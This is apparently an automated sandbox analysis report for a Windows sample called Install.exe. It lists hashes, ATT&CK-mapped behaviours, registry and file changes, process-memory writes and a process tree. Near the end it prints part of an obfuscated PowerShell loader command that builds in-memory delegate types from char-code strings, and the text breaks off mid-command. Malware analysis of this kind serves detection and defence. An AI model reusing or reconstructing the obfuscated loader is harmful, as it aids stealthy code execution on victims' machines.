5c887054cb1dce077943afa955db43306f66795f7cbda8233d8ba25230a23d41

Analysis

max time kernel
150s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 10:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Install.exe
Size 172KB
Sample260925-mk249sdd79
SHA256 5c887054cb1dce077943afa955db43306f66795f7cbda8233d8ba25230a23d41
MD5 873ef73bc17aa9302189522c6b3743b3
SHA1 a1eb04640ebdf212be6ca9396409cc48b36ba96e
SHA512 cc1d54a420869a54da88baf07cb0a418237a75c9fbe1c74a6afbb52191cff34095c1347d12aca40a3b9bfd32e84fbdf4e72eb53a259b82f8641b3174ff1f3a68
SSDEEP 3072:MQpsLU8yU0h4YgIsvXjQ8U4SDcLoYkeRHWL3K+yo+qRZtnrozA:MQpsLU5h4YgLG4GgkOkK5onro0
TLSH
T19F04024653DC16E8FCBD02789A3B963514F0FCE94F11D52E89A020EF8474E86CD29B66
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5540	powershell.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_nkqc1uo4.hel.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ly1rchwf.csa.ps1	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4552	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4552	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1790332357"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 24 Sep 2026 15:13:21 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={96B71400-871E-4827-918F-1BFAC989C5F3}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\NotificationData	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5540	powershell.exe
5540	powershell.exe
5540	powershell.exe
5540	powershell.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe
752	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5092	explorer.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

description	pid	Process
Token: SeDebugPrivilege	5540	powershell.exe
Token: SeDebugPrivilege	5540	powershell.exe
Token: SeDebugPrivilege	752	winlogon.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe
Token: SeShutdownPrivilege	5092	explorer.exe
Token: SeCreatePagefilePrivilege	5092	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4552 wrote to memory of 5540	4552	cmd.exe	89
PID 5540 wrote to memory of 752	5540	powershell.exe	5
PID 752 wrote to memory of 996	752	winlogon.exe	9
PID 752 wrote to memory of 1012	752	winlogon.exe	10
PID 752 wrote to memory of 1020	752	winlogon.exe	11
PID 752 wrote to memory of 1028	752	winlogon.exe	13
PID 752 wrote to memory of 1160	752	winlogon.exe	14
PID 752 wrote to memory of 1200	752	winlogon.exe	15
PID 752 wrote to memory of 1232	752	winlogon.exe	16
PID 752 wrote to memory of 1312	752	winlogon.exe	17
PID 752 wrote to memory of 1420	752	winlogon.exe	18
PID 752 wrote to memory of 1444	752	winlogon.exe	19
PID 752 wrote to memory of 1460	752	winlogon.exe	21
PID 752 wrote to memory of 1488	752	winlogon.exe	22
PID 752 wrote to memory of 1528	752	winlogon.exe	23
PID 752 wrote to memory of 1676	752	winlogon.exe	24
PID 752 wrote to memory of 1772	752	winlogon.exe	26
PID 752 wrote to memory of 1892	752	winlogon.exe	27
PID 752 wrote to memory of 1996	752	winlogon.exe	28
PID 752 wrote to memory of 1868	752	winlogon.exe	29
PID 752 wrote to memory of 2072	752	winlogon.exe	30
PID 752 wrote to memory of 2080	752	winlogon.exe	31
PID 752 wrote to memory of 2192	752	winlogon.exe	32
PID 752 wrote to memory of 2256	752	winlogon.exe	33
PID 752 wrote to memory of 2304	752	winlogon.exe	34
PID 752 wrote to memory of 2392	752	winlogon.exe	35
PID 752 wrote to memory of 2452	752	winlogon.exe	36
PID 752 wrote to memory of 2524	752	winlogon.exe	37
PID 752 wrote to memory of 2572	752	winlogon.exe	38
PID 752 wrote to memory of 2700	752	winlogon.exe	39
PID 752 wrote to memory of 2788	752	winlogon.exe	40
PID 752 wrote to memory of 2816	752	winlogon.exe	41
PID 752 wrote to memory of 2888	752	winlogon.exe	42
PID 752 wrote to memory of 2968	752	winlogon.exe	44
PID 752 wrote to memory of 3048	752	winlogon.exe	45
PID 752 wrote to memory of 3176	752	winlogon.exe	47
PID 752 wrote to memory of 3248	752	winlogon.exe	48
PID 752 wrote to memory of 3412	752	winlogon.exe	49
PID 752 wrote to memory of 3424	752	winlogon.exe	50
PID 752 wrote to memory of 3448	752	winlogon.exe	51
PID 752 wrote to memory of 3480	752	winlogon.exe	52
PID 752 wrote to memory of 3488	752	winlogon.exe	53
PID 752 wrote to memory of 3496	752	winlogon.exe	54
PID 752 wrote to memory of 3796	752	winlogon.exe	55
PID 752 wrote to memory of 3288	752	winlogon.exe	56
PID 752 wrote to memory of 832	752	winlogon.exe	57
PID 752 wrote to memory of 4396	752	winlogon.exe	58
PID 752 wrote to memory of 4444	752	winlogon.exe	59
PID 752 wrote to memory of 4476	752	winlogon.exe	60
PID 752 wrote to memory of 4676	752	winlogon.exe	61
PID 752 wrote to memory of 4748	752	winlogon.exe	62
PID 752 wrote to memory of 5008	752	winlogon.exe	63
PID 752 wrote to memory of 5160	752	winlogon.exe	64
PID 752 wrote to memory of 5276	752	winlogon.exe	65
PID 752 wrote to memory of 5524	752	winlogon.exe	68
PID 752 wrote to memory of 5736	752	winlogon.exe	70
PID 752 wrote to memory of 1480	752	winlogon.exe	72
PID 752 wrote to memory of 2432	752	winlogon.exe	73
PID 752 wrote to memory of 4160	752	winlogon.exe	76
PID 752 wrote to memory of 964	752	winlogon.exe	77
PID 752 wrote to memory of 3264	752	winlogon.exe	78
PID 752 wrote to memory of 5384	752	winlogon.exe	79
PID 752 wrote to memory of 1396	752	winlogon.exe	80
PID 752 wrote to memory of 5092	752	winlogon.exe	81

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:1020
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1160

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-af39e989-42ea-45ed-8f9f-3d6aac3a749d -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-73266ded-5d2c-4722-a7c6-c52d19f1bc68 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-48c3eb41-eacf-4422-84ba-8b9dbf3916c8 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ad2a9dcc-fb2c-4463-856d-9ccb5d2a7db0 -LifetimeId:9fe8c8a4-1b9c-492c-90bd-7304e696f65b -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:996

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1772
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1396
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:5092
  - - C:\Users\Admin\AppData\Local\Temp\Install.exe
      "C:\Users\Admin\AppData\Local\Temp\Install.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:2072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2304

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2452
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000268;000000000000026C;
  2⤵
  PID:5008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2816

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3496

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:832

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4396

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4676

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4748

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5160

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:5736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4160

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3264

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:5384

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:xfTMzJxzqZux{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uspWrgncOlWawD,[Parameter(Position=1)][Type]$AMqTUmumfp)$PZXaRtuAQBA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'flec'+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+'l'+[Char](101)+'gate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+',A'+[Char](117)+'to'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$PZXaRtuAQBA.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)